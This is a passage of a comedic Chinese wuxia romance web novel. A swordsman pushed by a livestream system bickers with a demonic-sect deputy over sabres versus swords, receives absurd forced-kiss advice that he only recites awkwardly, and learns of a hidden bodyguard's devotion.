“裴衡说,谢厌擅音律。”余清晚说道,“让他教你。”
赵惊弦恍然大悟。
练剑算不得什么,学艺才是真正的妙招啊!
学艺之事,你来我往,时常需得请教,还会有些肢体接触,正是感情升温的小妙招!
谈过的人就是靠谱,赵惊弦非常佩服!
余清晚又道:“还有,谢厌身上有伤,山路难行,你多照顾他一些。”
赵惊弦用力点头。
而今在他眼中,如余清晚这般有过恋爱经验之人的话语,便如同圣言真理,他如果是蒙昧未开的野人,那余清晚便是走在时代前列的先驱!
他相信,只要有余清晚的经验指导,他的直播间一定能蒸蒸日上,赎回他的剑,指日可待!
-
赵惊弦背上自己的琴,领着谢厌前往山涧。
四下虫鸣鸟叫,遥遥地听见远处山涧水声,玄猫在前领着二人脚步,跑出一段距离,便又停下等待他们,像是想要与他们一同前往山涧一般。
脚下的山路的确难行,许多地方连落脚之处都没有,谢厌不想当着赵惊弦的面摔跤,他全神贯注在脚下,只是偶尔抬起眼,看一看走在前头的玄猫。
赵惊弦忽地用力清了清嗓子。
“谢副使。”赵惊弦道,“这山路……很难走吧?”
谢厌:“……”
谢厌不想理他。
赵惊弦更主动了一些:“我知道你走不动——”
谢厌冷笑:“走不动?谁走不动了?”
赵惊弦:“可是我看你脚步蹒跚,你好像爬不上去——”
谢厌:“胡言乱语!”
赵惊弦:“啊?”
谢厌:“我像是爬不动的样子吗?”
赵惊弦:“……”
赵惊弦想,年轻人面皮薄,谢厌又总口是心非,看来,他还得更主动一些。
赵惊弦:“谢副使,若伤处疼痛,我可以背你上去啊!”
谢厌猛地后撤半步,古怪看了赵惊弦一眼,捂着伤处加快了脚步。
赵惊弦困惑:“谢副使,你跑什么,你逃不掉的。”
谢厌:“……变态。”
赵惊弦:“死要面子活受罪。”
谢厌:“……”
谢厌恨恨咬牙,脚步不由更快了一些。
在前头等待二人的玄猫歪着头,用力甩了甩尾巴。
待谢厌走到它身边时,它蹿到谢厌脚旁,几乎贴着谢厌前行,如今谢厌本就蹒跚,这猫儿一闹,他果真绊着了,当着赵惊弦的面一个趔趄,险些滚下山去。
玄猫喵呜大叫一声,立即回首邀功一般去看赵惊弦。
赵惊弦站在原地,一动不动,只顾着嘲笑。
“哈哈,摔了吧。”赵惊弦很是得意,“活该!”
谢厌:“……”
谢厌扶着道旁小树,手上被粗砺树皮蹭破了皮,他咬牙切齿,恶狠狠回眸瞪向赵惊弦。
赵惊弦:“我都说了,山路难行,让你逞——”
玄猫忽地朝赵惊弦蹿来,张开喵呜大嘴,露出两颗利齿,在赵惊弦腿上狠狠钉了一口。
赵惊弦疼得猛然惊醒。
等等,他是傻子吗?!
他笑什么啊!
为什么不直接抱住谢厌啊!
-
谢厌不想同赵惊弦说话了。
他心中憋着怒火,若不是手中无刀,内力受制,他真想直接一刀将赵惊弦砍死。
好在山涧已在眼前,此处的确清幽,山涧之上有一处甚是平坦的山石,正适合演练剑招。
谢厌捂着伤处行至溪流一侧的山石处坐下,先看了看自己掌心剐蹭的伤处,出了些血,但这等小伤,并不碍事,谢厌合拢掌心,看向赵惊弦,道:“你的剑呢?”
赵惊弦摸了摸剑鞘:“剑在,怎么了?”
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“拔剑。”谢厌道,“让我看看江湖传闻的第一剑客,是不是浪得虚名。”
赵惊弦:“……”
赵惊弦受不得这种激将法。
其余的质疑辱骂,他都不在乎。
可这天下,竟然有人敢质疑他的剑?
赵惊弦挑剑在手,冷声:“你看好了。”
赵惊弦这剑术,是他师父所授,可又全非他师门剑道,至少有一半是赵惊弦自己所创。
他本来不会随意同他人展示自己的剑法,他不喜欢做这等无用之事,毕竟江湖上能与他探讨剑术之人并不多,他舞剑同对牛弹琴也没有区别,方才余清晚说要他演练剑术,他本只打算胡乱应对,可谢厌竟然怀疑他的剑术。
呵,什么人,也敢怀疑他的剑法?!
看他怎么让谢厌心服口服!
-
谢厌本只是默声看着,可渐渐坐直了身体,聚精会神盯紧了赵惊弦手中的剑。
赵惊弦剑法精妙,远超出他心中所想。
谢厌少年时闯荡江湖,同不少高手交过手,此事该算是他技痒,见着武功好的,他便忍不住想上前比较,今日见赵惊弦这模样,他觉着手痒,只恨自己今日伤得太深,不能上前与赵惊弦一较高低。
赵惊弦已演练完一套剑式,收剑回鞘,挑眉看向一旁的谢厌。
“如何?”赵惊弦微微挑眉,“服——”
谢厌:“好剑法!”
赵惊弦:“——了吗。”
赵惊弦:“……”
赵惊弦挠了挠头。
“果真是好剑法。”谢厌难捺兴奋,“可惜我今日有伤在身,不能与你比试。”
赵惊弦有些不好意思:“也没有啦!”
谢厌:“正道人中,我所见剑术最佳者,非你莫属。”
赵惊弦忍不住腆着脸笑:“哎呀……正道剑派,能人辈出,我算不得什么啦!”
谢厌:“不过若是你是江湖第一,我不服气。”
“我知道啦知道啦,你不用这么夸——”赵惊弦忽地一顿,挑眉,“你不服气?”
“不服气。”谢厌道,“我能与你一较高低。”
赵惊弦的胜负之欲,骤然而起。
“不可能。”赵惊弦冷声说道,“你赢不了我。”
谢厌:“你这剑法,破绽甚多。”
赵惊弦:“绝无可能!”
谢厌:“你等我伤愈,我一定要与你比过。”
“比了也没用。”赵惊弦开始人生攻击,“刀比剑弱,用刀的人,比不得我!”
谢厌:“……”
谢厌微微眯眼。
“刀怎么了?”谢厌冷冰冰说,“我与你比的是武功,不是兵刃。”
赵惊弦脱口而出:“我们剑才是百兵之君,你们用刀的算什么玩意。”
谢厌有些恼了:“剑身脆弱,屈指一弹便要崩裂,若是长久打斗,自是横刀更强。”
赵惊弦:“刀身就不脆啦?你拿过来,我现在就一指给你弹崩。”
谢厌:“……无理取闹。”
赵惊弦:“那也是剑强,就是剑强。”
谢厌一股怒气上头:“刀剑刀剑,刀在前。”
赵惊弦:“我呸,何为压轴,剑是压轴!”
谢厌:“刀好用。”
赵惊弦:“剑更强!”
谢厌咬牙:“刀强。”
赵惊弦:“剑强!”
谢厌:“刀。”
赵惊弦:“剑!”
谢厌:“刀!!!”
赵惊弦:“必然是剑!”
二人怒目而视,咬牙切齿,片刻之后,忽听得铮地一声响——
蹲在山石一侧的玄猫,半睁着绿莹莹的眼睛,烦躁甩着尾巴,面无表情伸出尖利爪子,勾起赵惊弦带来的古琴的琴弦——
猛然往后,全部拽断。
赵惊弦:“……”
14.我对他一见钟情?
赵惊弦与谢厌回了竹庐。
下山时,二人根本不想理会对方,若不小心对上了目光,还要恶狠狠朝对方怒目。
山下的竹庐院中,颇为热闹。
余渡终于抵达,正抱着赵惊弦的猫疯狂蹂躏。
余清晚站在一旁,满怀愁绪又极为关切地看着他,口中碎碎念叨,显是忧心余渡武功不佳,也幸亏他能安全到达此处。
除他二人外,赵惊弦还四下看了看,找了找裴衡在什么地方。
这小子擅长隐蔽身形,若不知他在附近,赵惊弦不会仔细去寻,便极难发现他位置,可若有意搜寻,以赵惊弦行走江湖的经验而言,很容易便能发现他在何处。
譬如此刻。
他想裴衡应当在树梢一侧,被竹叶遮挡,看见他与谢厌回来,那处竹叶极为不自然地颤动,像是受了惊吓,也不知裴衡究竟是怕他,还是在怕谢厌。
余清晚见两人回来,面上带了笑:“赵兄,谢副使,你们方才——”
谢厌冷哼一声,转身进了屋。
赵惊弦也忍不住啧舌,心中还带着方才激烈争吵的余怒,待谢厌进屋后,他方压低声音:“余兄,你说的办法……分明一点用处也没有。”
余清晚一怔:“发生什么了?”
赵惊弦深深叹气。
余渡也好奇凑了过来。
“你让我舞剑,我舞了。”赵惊弦道,“起初是很好的,他还夸我剑法不错。”
余清晚点头:“我听裴衡说过,谢厌喜欢武功好的人,赵兄剑术极高,只需显露,他自然会有改观。”
余渡插嘴:“对对对,我看过,一般都是这么写的,一交手就会有好感。”
“可这小子,他……他……”赵惊弦一想起此事便觉恼怒,不由咬牙骂道,“他竟然觉得刀比剑强!”
余清晚:“……”
余渡:“啊?”
“我与他争论了一个时辰,互不相服。”赵惊弦愤恨不已,“他说若不是他有伤在身,一定要和我比试。”
余清晚迟疑:“……也算是个好进展。”
余渡:“他都愿意和你比试了,他一定是爱上你了!”
赵惊弦冷笑:“呵,就他?想赢我?做梦!”
余清晚:“……”
余渡:“好!相爱相杀!胜负欲就是爱情!”
赵惊弦:“刀就是刀,刀一辈子也不可能比得过剑的,我们剑客就是最强的,用刀的都是邪教,这种没品的人,我才不会——”
【直播间封禁时间已结束,主播是否要重新开启直播?】
赵惊弦:“……”
赵惊弦看了看身边围着他的余渡和余清晚两兄弟,还有脚下绕着几人的猫。
这不就是他直播的成功小公式,美人与猫吗?!
开启开启!立马就开启!
谢厌虽然不在,可这不重要。
反正谢厌还在生气,不如先随便播点漂亮美人和小猫,顺便向余渡与余清晚请教些其他的恋爱小技巧。
赵惊弦这直播间今非昔比,直播一开启,他便见着观看人数上涨,飞快有弹幕从他眼前飘过。
【啊,开了!刚刚又是因为什么才被封的啊?】
【已经从看直播变成了看主播到底能被封几次(感叹】
【咦我的邪道美人呢?他怎么不在啊?】
【这是在干什么?作战会议?】
没错,就是作战会议!
赵惊弦看向面前二人,深吸了口气,续着自己方才的那句话语:“我才不会……呃……不会在意!”
余清晚:“?”
余渡:“好啊!果然是江湖上难得一见的神仙爱情!”
“只是我实在不擅此道,若要我主动,十之八九会失败。”赵惊弦虚心求教,“你们……还有什么好办法吗?”
余清晚蹙眉:“你不是带琴去了吗?”
赵惊弦深深叹气。
说起此事,赵惊弦越发悲伤。
“全断了。”赵惊弦愤怒谴责,“坏猫!”
余清晚:“……”
-
赵惊弦是什么样的人,余清晚已经很清楚了。
赵惊弦仗剑江湖多年,这几年的江湖大事总少不了他,武林盟所有棘手之事都会寻他帮忙,他又生得一副剑眉星目的好面孔,这么多年下来,愣是一点儿风流韵事也没传出来,这便已经很不简单了。
余清晚是赵惊弦好友,他认识赵惊弦多年,见过不少人对赵惊弦有意,而赵惊弦全无察觉,因而当初赵惊弦说他喜欢谢厌时,余清晚便觉得很惊奇。
他原以为这是傻子开窍,剑痴也能有春天。
现下余清晚却已开始怀疑赵惊弦话语的真假……赵惊弦看起来一点也不喜欢谢厌,他们明明就是两个全无关系的陌生人吧?
“赵兄。”余清晚甚是困惑,“你真的喜欢谢副使?”
赵惊弦惊了一跳,他没想到余清晚会看出这一点,匆匆掩饰:“这……自然如此!特别喜欢,一见钟情!”
“一见钟情?”余清晚蹙眉,“因为脸?”
赵惊弦:“……这倒不是。”
他对他人的样貌美丑不太敏感,有鼻子有眼就行,江湖人是说谢厌是美人,他却根本看不出什么不同。
与他相熟稍久的朋友都知他是如此,此刻他若非要说自己被谢厌的容貌吸引,反而要显得古怪。
余清晚越发不解:“那是为何?”
赵惊弦:“这……这是因为……”
“既然不是面容,也不是他的武功,你还这么厌恶用刀之人……”余清晚语调迟疑,“赵兄,你真的喜欢谢厌吗?”
赵惊弦:“……”
谈过恋爱的人就是了不起,一眼就能看出问题。
赵惊弦非常佩服。
可现在他得想个理由,先将这个麻烦应付过去再说。
“以前……听说过一些与他有关的事情。”赵惊弦勉强解释,“……很佩服。”
余清晚微微挑眉:“与他有关的传言?谢厌在江湖上有好传言?”
赵惊弦:“这……初回见面时,他宁死不屈的傲骨,很吸引我。”
余清晚:“此事我也觉得古怪,赵兄,你为何要去凤尾驿见他?”
赵惊弦:“……”
赵惊弦解释不了这件事。
“我……碰巧路过。”赵惊弦目光游移,“听说大家在追捕谢厌,便去凑了凑热闹。”
余清晚:“你既是去抓他的,为什么又要救他?”
赵惊弦又将话饶了回来:“呃……因为……一见钟情了吧。”
余清晚:“……”
余清晚显是更怀疑了。
赵惊弦绞尽脑汁,拼命想自己还能如何解释。
余渡忽而便开了口。
“哥!你不懂!”余渡插嘴,“爱情!它就是个没有道理的东西!”
赵惊弦:“……”
不不不!你哥可懂得很!
至少比你要懂!
“一见钟情没有理由可言!”余渡大声道,“或许只是因为他的一个眼神——”
赵惊弦从来没注意过谢厌的眼神。
余渡:“嘴角扬起时恰到好处的幅度——”
呸,那小子除了冷笑嗤笑,嘴角就不会有其他扬起的弧度了。
余渡:“胸腔震动时发出的声音!
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”
嗯……骂人猫叫的时候倒是挺可爱的。
当然,原句就算了,谢厌这人词穷,骂来骂去只有那么两句话,一点儿创新都没有。
余渡的理由一个也戳不到赵惊弦的点上,可余清晚却露出了了然之色,喃喃道:“确也是如此……”
赵惊弦:“……”
不,怎么连余清晚也接受了这种设定啊?!
一见钟情,根本不靠谱。
对,连爱情都是不靠谱的东西,怎么可能有人会因为一个眼神就爱上对方?
哪怕是赵惊弦,他也不可能因为仓促一瞥,就忽而爱上一柄剑啊!
“一见钟情,代表着你对他的过往全无了解。”余清晚叹气,“这是最麻烦的情况,他所有的一切,你都得从头了解。”
余渡赞叹:“也是最美妙的情况,每一刻都能发现一个全新的他。”
赵惊弦:“……”
你们两兄弟真的不能先统一一下想法吗?
余清晚:“赵兄,我再多问几句,你对谢厌……究竟了解多少?”
赵惊弦:“呃……谢厌是江湖十恶之首,魔教副使,做过很多坏事,很多人恨他,他还是前教主的得意弟子,现任魔教教主的师弟。”
余清晚点头:“还有呢?”
赵惊弦:“没有了。”
余清晚:“……”
余清晚深深吸了口气。
“你若根本不了解一人,又能谈何追求?”余清晚蹙眉说道,“还好,此事我还能知一二,我让裴——”
余清晚忽而一顿,飞快瞥了余渡一眼,匆忙改口:“我待会儿再来与你说。”
余渡恰也开了口:“赵大哥,谢厌的事,我也很清楚,你可以来问我!”
余清晚:“但我看谢副使好像生气了,你们吵过架?”
赵惊弦尴尬点了点头。
“先去道个歉吧。”余清晚道,“他若在生气,不愿与你说话,想再多办法也都是白搭。”
赵惊弦挑眉:“我没错,我为什么要道歉!”
余清晚皱眉:“你——”
“赵大哥!”余渡余渡噌一下便来了精神,“我有办法!”
赵惊弦困惑看向他。
“哥,交给我吧!我一定能让赵大哥与谢副使和好如初!”余渡拉着赵惊弦,兴奋不已往屋门一侧走,“这种情况,我已经看过很多了!”
赵惊弦:“你……看过?”
“书上都是这么写的。”余渡认真说道,“没有什么吵架是强吻解决不了的,如果有,那就再吻一次、两次、三次!”
赵惊弦:“……”
等等。
这孩子平常看的到底都是什么书啊?!
可余渡看起来对自己的理论极为信服。
“根据我的经验,这是成功率最高的道歉手段。”余渡十分坚定,“来山庄求医的情侣若是吵架,我都是这么建议他们的。”
赵惊弦:“……能成功?”
余渡用力点头:“当然!最多强吻两次,也就和好如初了!”
全无恋爱经验,也完全不曾注意过他人如何恋爱的赵惊弦,来兴趣了。
他本还担忧此事不对,可眼前弹幕飘过,竟然全都在赞同余渡的话。
【说得好!没有什么事强吻不能成的!有的话就吻两次!】
【强吻还不成功就doi啊!做恨多了一定谈上的!】
【按头小分队蠢蠢欲动!】
【天啊这个直播进展的速度我好喜!请你们今天……一定要强吻啊!】
嗯……如果弹幕也这么说的话。
那余渡的建议,大概真的是有道理的吧!
15.我对他一见钟情。
余渡认真为赵惊弦介绍他近乎完美的办法。
“这种事,气势一定要足,要很霸道。”余渡认真为他解释,“扣住手腕,往墙上一推,一套动作行云流水,一定就能成功!”
赵惊弦急忙:“你等等,我记一下。”
他手头没有纸笔,只能匆匆进屋去寻。
谢厌现今住的房间,原是他的住处。
当初带谢厌回到竹庐时,他来不及收拾出其他屋子,便先将谢厌安置在了此处,他所有东西都在屋内,笔墨纸砚也都在窗旁的桌上。
赵惊弦只得敲门进屋,先切换了观众视角,以免谢厌骂他,而后方板着脸道:“拿件东西,拿了就走。”
谢厌:“……”
赵惊弦匆忙取走纸笔,出门之间,又停了脚步。
“就是剑强。”赵惊弦小声嘟囔,“没品。”
谢厌:“……你喵不喵?!喵!”
赵惊弦心满意足离开了房间。
真可爱。
他要是能一直喵就好了。
-
赵惊弦重新回到余渡身边,举起纸笔,表示自己已经做好了准备。
余渡清了清嗓子,道:“第一步,进屋之后,什么也别说,先靠近他。”
赵惊弦认真记录。
余渡:“扣住他的手,将他按在墙上。”
赵惊弦皱了皱眉:“不行啊……他身上有伤,撞在墙上会疼的。”
余渡:“那扣住他的手,将他按在床上!”
赵惊弦点点头,将这句记下了。
余渡:“用指腹狠狠擦过他的唇!然后狠狠亲下去!”
赵惊弦:“呃……他咬我怎么办?”
余渡:“带血的吻,更香甜。”
赵惊弦迟疑:“真有用?”
“当然有!”余渡毫不犹豫,“你还得说几句话,比如说……呃……你再生气,我就要亲你了!”
赵惊弦迟疑。
根据他与谢厌相处的经验,他说这种话……谢厌只可能会骂他吧?
“当然,谢副使这脾气,他肯定会生气。”余渡说道,“可我看他骂人时词汇匮乏,显然经验不足,这也可以轻易应对。”
赵惊弦点头。
“赵大哥,你且附耳过来。”余渡认真说道,“我再教你些好句子。”
-
赵惊弦又一次敲门进了屋。
他第一次干这种事,心中着实紧张得很。
可面前弹幕区的弹幕几乎刷满,观看人数也达到了意想不到的高峰,所有的一切似乎都在证明他的做法没有出错,今日他与谢厌的关系,必然能达到一个全新的高峰。
谢厌冷冰冰抬眼朝赵惊弦看来。
谢厌:“又忘东西了?”
赵惊弦紧张一笑。
谢厌有些不祥预感。
谢厌:“……你又要发什么疯?”
赵惊弦:“我是来与你道歉的。”
谢厌:“道歉?”
赵惊弦已在心中默诵起了余渡与他说的那些话语,还有最后致胜的小技巧。
他几步靠近谢厌,接下来,便该是扣住谢厌的手腕了。
可命门就在腕上,赵惊弦觉得习武之人应当不会喜欢这种被扣住手腕的感觉,这一步还是暂先略去较好。
那下一步,该是将谢厌狠狠按在床上。
且不说直播间审核究竟能不能允许这件事发生,谢厌的背上可还有擦伤,若是被用力按在床上,大概会很疼,这一步……还是也略去吧。
省略掉这两步,剩下的便只有最关键的那件事了。
赵惊弦蹲下身,凑近一些,令自己的目光与正坐着的谢厌平视,而后他抬起眼,头一回如此认真地盯紧了谢厌的双眸。
在这紧要当口,他莫名有些说不出紧张。
谢厌挑眉:“你要做什么。”
赵惊弦:“你……还在生气?”
谢厌:“出去,我不想看见你。”
赵惊弦:“……”
既然谢厌还在生气,那就没有办法了。
这毕竟是他亲密计划的第一步,赵惊弦极紧张咽了口唾沫。
“你若是再生气我就要亲你了,你越生气我越想亲你,亲一下就一下亲完就不生气了。”赵惊弦生硬刻板,以他过目不忘的惊人记忆力,语调迅速背诵余渡与他说过的所有台词,“哈哈你这磨人的小野猫你逃不掉的我要狠狠惩罚你,你骂我也没用,我现在就滚,我滚到你心里。”
谢厌:“……”
赵惊弦:“你别叫啊你叫了也没有用,你现在是逃不掉的这时候我该邪魅一笑你用力打,打是亲骂是爱打就是情趣血味的亲吻才最甜。”
谢厌:“……”
赵惊弦语调越发僵硬,几乎想不明白余渡究竟是从哪儿看到这些废话的,强吻之前,真的要说这些台词吗?
“我……我说完了。”赵惊弦咽了口唾沫,“下一步,你……你过来?要不然我过去?”
“赵惊弦。”谢厌深吸了几口气,出乎意料地没有骂人,“有病,就去治。”
赵惊弦:“……哦。”
赵惊弦局促移开了目光。
说实话,这还是赵惊弦……第一次直视谢厌的眼睛。
他以往与谢厌说话时,大多不会去看谢厌的眼睛,他连谢厌的面容都没有仔细端详过,只觉得大家既然都有鼻子有眼,如此健全,那自然就不必再看了。
他总觉得自己辨不出他人面容,无论美丑,在他眼中都全无差别。
他以为江湖人所说的美人多是柔婉,可谢厌却一点都不沾此事的边。
他这人便是极为锋锐的……同他的眉眼一般,眉峰如刃,眼尾微微上挑,明明是漆黑的眸子,可眸光中一点孤绝,令他呼吸发滞,难以招架半分……直至风过竹庐,剑穗上的金铃轻响,他才猛地回过神来。
赵惊弦深吸了口气,喉结滚了滚,说不出其他话语。
他好像有一些明白了江湖人所说的那些话。
谢厌……他可能真的是个美人。
……
谢厌仍冷冰冰看着他:“发完疯了?”
赵惊弦:“嗯。”
谢厌:“那滚吧。”
赵惊弦:“好。”
赵惊弦站起身,木然扭头就走。
谢厌怎么也没想到赵惊弦会这么听话,原还准备了几句与他吵架的话语,此刻全卡在喉中,不上不下,实在难受得很。
也就在此时,已走到门边的赵惊弦,忽而停了脚步,又回眸看了谢厌一眼。
“你……”赵惊弦极为小声嘟囔了一句,“……眼睛。”
谢厌:“什么眼睛?你又要说什么怪话?”
他总觉得赵惊弦还要口出惊人之语,警惕盯紧了赵惊弦。
赵惊弦却注视着他,极为笨拙地说:“你的眼睛……带着光。”
谢厌怔了片刻,将那几句话语咽下。
赵惊弦小声嘟囔:“很好看。”
谢厌:“……”
说完这话后,赵惊弦扭头便走,一刻也不愿在屋内多留。
谢厌还发着怔,过了片刻,终于回神,下意识伸手摸了摸自己的脸。
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赵惊弦这人……今天到底是在发什么疯,这又是在胡言乱语什么。
还有这该死的破竹屋,一点也不透风。
若非如此,他的耳尖……怎么会……这么烫。
-
赵惊弦离了屋子,走到院中。
他神思恍惚,到这时候,才记得看了看直播间此时的情况。
观看人数是他直播以来的最高峰,弹幕和评论也超出想象得多,以至于他只能匆匆一眼扫过,勉强看了个大概。
【啊啊啊哥他是让你随便选一句台词,不是让你一口气全说了啊!】
【好失望说好的强吻呢!】
【我真的笑晕过去!】
【别说,主播记忆力是真好啊,这么长一段话愣是一个字没背错】
【答案放面前也能抄个零分,不愧是剑纯啊摊手】
啊……只选一句吗?
余渡他也没说只选一句啊……
【不是!你们别胡说啊!这个笨蛋主播他是真的可能会信的啊!】
【别强吻别强吻!那是霸总文学的套路的,强吻你和他就再也没可能了!】
【松了一口气……幸亏没强吻……】
【这台词说的……什么叫做眼睛很亮啊,活该到现在还没老婆(痛苦闭眼】
【可恶啊!虽然你们都骂得很大声,可我怎么还觉得怪纯爱的……】
【呜呜呜谁懂啊看笨蛋直男谈恋爱真的是一种痛并快乐的享受】
【感谢用户[功德猫猫头]送来的天山雪莲,观众喜爱值+100】
【感谢用户[鸭头你也真是的]送来的青锋古剑,观众喜爱值+50】
赵惊弦:“……”
这……也行?
他方才做什么了,为什么大家送礼的热情,比之前美人与猫的场景还要高?
赵惊弦蹙眉深吸了口气,收回目光,抬眼便见余渡正在一旁,颇为焦急地等着他。
“赵大哥,怎么样,成功了吗!”余渡焦急凑上前来,“我的办法,比我哥的有用吧!”
赵惊弦摇头。
余渡一怔:“……不应该啊,这招明明百试百灵。”
他焦急在原地踱步,又探头试图往屋内看。
“谢副使什么反应?他就没点什么表示吗?”余渡皱眉,“赵大哥,你为什么不说话?谢副使打你了?”
赵惊弦:“……没有。”
“真的没有吗?”余渡很紧张,“你脸色不对……不会是内伤了吧。”
赵惊弦:“……”
赵惊弦不知道怎么形容自己现在的心情。
谢厌当然没有打他,可如今他心中有些像是堵着了什么,心跳显然也比平日要略快一些,这感觉……同内伤也差不了多少。
于是赵惊弦点了点头:“有一点……”
“谢副使真打你了?”余渡大惊失色,“赵大哥,快让我看看——”
赵惊弦摇了摇头。
“他没打我。”赵惊弦低声说,“也不算是内伤。”
余渡:“那……”
赵惊弦:“……可能是恋爱了。”
余渡:“啊?”
赵惊弦又停了片刻,想起了今日余渡与余清晚说的那些话。
“你说的话,没有错。”赵惊弦叹了口气,“原来是我错了。”
余渡困惑:“什么话?什么恋爱了?”
赵惊弦低声:“……有时候只需要一个眼神。”
“眼神?什么眼神?”余渡挠了挠头,“赵大哥,你说的话,我怎么一句也没有听懂啊?”
16.田螺男嫂嫂
别说余渡没懂,这件事,赵惊弦自己都不知道应该怎么解释。
他只能想——
爱情,本来就是没有道理的事情。
以往他也曾对某柄剑突然心生好感,可这种急切的热情,大多都是经不起考验的,过不了多久便会退却,特别当他亲自上手尝试过后,一定会发觉这剑分明有不少他难以容忍缺点。
他今日的感觉,一定也是如此。
待他多与谢厌接触一些,这观念便会被打破。
只是简单一眼好感而已,还未完全沦陷,赵惊弦觉得这算不得什么。
他要追求谢厌,当然不是因为喜欢。
他是被直播间所迫,他本人其实并不怎么想要恋爱。
恋爱有什么意思?谈恋爱不如练剑,练剑才有意思,他待会儿就去狠狠练剑,练完剑就不会胡思乱想了!
想到练剑,赵惊弦登时来了精神。
他打算与余渡告别去练剑,余渡却清了清嗓子,像是有事相求,扯着了赵惊弦的衣袖,小心翼翼将赵惊弦拉到一旁:“赵大哥,有件事,我早就想与你说了。”
赵惊弦:“怎么了?”
“我此番离庄,是偷跑,并未告诉过兄长。”余渡小声说,“方才我编了理由骗他,我说是收到了你写来求助的信,才从庄中离开的。”
赵惊弦:“你是要我帮你圆谎?”
余渡点头:“兄长总担心江湖险恶,我武功低微,不能自保,若是离庄,会有危险,所以他一向不许我——”
赵惊弦一怔:“啊?他武功也不高啊。”
余渡:“——不许离开山庄。”
余渡:“啊?”
赵惊弦甚是困惑:“你大哥,他医术是不错,武功也就平平吧,随便来个人就能放倒他。”
余渡:“可他游历江湖多年,从未遇到意外。”
“江湖也没那么危险。”赵惊弦道,“我行走江湖多年,也从未遇到意外啊?”
余渡:“……赵大哥,你不一样。”
赵惊弦武功太高,就算真遇到危险,他大多也能靠武力化解,这江湖对他来说,自然是没什么危险的。
可对武功低微之人而言,这江湖便不是如此了。
余清晚云游江湖已有多年,至多只受过些剐蹭小伤,此事无论怎么想都极为不可思议,余渡自然便觉得——他兄长的武功,一定与赵惊弦一样强。
“罢了,我替你圆谎便是。”赵惊弦道,“就按你方才说——”
他忽地一停,压下声音,低声道:“……等等,你兄长过来了。”
余渡紧张咽下几口唾沫,立即回首,对余清晚露出万分灿烂的笑容。
这假笑太过心虚,连赵惊弦都能看出问题,可向来敏锐的余清晚却没有察觉,余清晚看上去有些不安,他似乎……也有话要对赵惊弦说。
余清晚站在小院另一端,不愿再迈步上前,只是不停朝着赵惊弦招手。
赵惊弦只好朝他走过去,到他身边时,余清晚才同余渡一般压低声音,问:“赵兄……你方才,与我弟弟说了什么?”
赵惊弦已允诺过余渡会为他圆谎,只得讪笑:“也没什么。”
余清晚:“我与裴衡之事,你……说了吗?”
赵惊弦摇头:“没有。”
余清晚松了口气。
“没有便好。”余清晚道,“渡儿年纪还小,又不知江湖险恶,我不想让他知道这些事情。”
赵惊弦:“……”
这江湖如何“险恶”,赵惊弦觉得余渡早就已经知道了,他知道得还不少。
“他此番离庄,未免太不理智了一些。”余清晚道,“江湖中危险甚多,他孤身一人,若是遇着危险——”
赵惊弦微微抬手,打断了余清晚的话。
“有一事我甚是不解。”赵惊弦说,“余兄,你武功如何?”
余清晚一怔:“我并不精于武道。”
赵惊弦:“那你行走江湖多年,怎么至今也没遇到过危险?”
余清晚:“这……”
赵惊弦:“我知道江湖中人一般不对医者下手,可事事总有例外,总不会是你运气极佳,遇事便能逢凶化吉——”
余清晚小声:“……裴衡。”
赵惊弦:“什么?”
“我但凡离庄,裴衡总暗中跟在我身边。”余清晚稍有窘迫,声音便极小,“他为我打点一切,护我平安,这些年确实遇险数次,总是他舍命救我。”
赵惊弦:“……”
“我……我早年尚不知此事,只觉得是自己运气好。”余清晚道,“无论想要何种药材,那东西都能出现,遇着危险也总能脱困,后来发觉不论住在何处,日常起居……好像都有无形之人照应……方才明白,是有人在暗处保护我。”
赵惊弦喃喃自语:“……田螺男嫂嫂。”
余清晚:“嗯?什么?”
赵惊弦用力清了清嗓子:“没……没什么。”
余清晚困惑点了点头:“不过,以往在你这竹庐小住时,他大多不敢靠近,你武功太好,他总怕被你发现。”
可赵惊弦已经走神了。
方才那一瞬,弹幕区立即铺满了密密麻麻的字迹。
【笑晕了男嫂嫂就男嫂嫂,什么田螺男嫂嫂啊!】
【可主播说得确实也没错……这不就是田螺小哥和男妈妈的结合体吗?!】
【裴……(忘记名字)嫂嫂看起来很高冷,没想到竟然这么贤惠啊!】
【好糟糕,裴哥以后在直播间内的代称不会就是嫂嫂了吧。】
【嫂嫂开门,我是我哥(正直脸】
【啊啊啊住口啊小余还是个孩子你们不可以这样!】
【说出没什么是强吻不能解决的人还能是孩子吗!】
赵惊弦:“……”
赵惊弦心情复杂。
他收回目光,再看向了面前的余清晚。
“赵兄,你听见我方才说的话了吗?”余清晚皱着眉,“谢厌相关之事,还是裴衡比较了解,我先带你去见他。”
赵惊弦:“上回我见着他,他根本不愿与我说话。”
“他这人性子孤僻,有些寡言。”余清晚带着赵惊弦朝竹庐外走,“无妨,有我在,他见着熟人便好了。”
赵惊弦抬眸扫了眼竹梢,一眼便锁定了裴衡所在之地。
谢厌已不在了,这簇竹叶怎么还在瑟瑟发抖。
裴衡害怕的人,总不可能是他吧?
二人已离竹庐有些距离了,竹庐之内的人绝不可能会听到他们交谈,余清晚才左右搜寻,道:“裴衡?你在哪儿?”
赵惊弦:“你左边树上。”
那簇竹叶依旧颤抖不停,除此之外,便已没有其他动静了。
余清晚:“呃……你下来吧。”
赵惊弦只好也清清嗓子,极客气道:“裴……呃,裴兄弟?”
竹叶簌簌发抖。
赵惊弦:“只是与你谈谈,不会对你做什么的。”
竹叶抖得更厉害的了。
赵惊弦:“下来说话吧,你看,余兄也在,我不会难为你的。”
余清晚也有些无奈。
他站在翠竹之下,仰着头朝上看,柔声细语劝说:“阿衡,下来吧,没关系的。”
竹叶沉默。
余清晚:“只是回答几个问题而
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已看,别怕,我在这儿陪着你。”
竹叶毫无动静。
余清晚只得叹气:“那……要不就隔着竹叶聊吧。”
赵惊弦:“啊?”
竹叶中终于传来了裴衡的声音:“……嗯……好。”
赵惊弦:“……”
不是,他到底给裴衡留下了多大的心理阴影啊?!
一句男嫂嫂而已,不至于吧?!
赵惊弦瞥了眼弹幕。
【好怪的场面。】
【该死啊i人真的深深共情了裴嫂嫂,我要是遇到主播这种人,我也想躲在树上不下来啊!】
【躲在树上已经很客气了吧!换我会逃离这个星球的!】
【他甚至还愿意说话,他还是对神医美人太爱了。】
【如果这都不算爱情!】
赵惊弦:“……”
什么叫做他这种人?他怎么了?他不是很和善可亲吗?!
余清晚已在旁道:“裴衡在魔教内,是谢厌的下属。”
赵惊弦点头。
这事赵惊弦稍微从武林盟主那儿听说过一些。
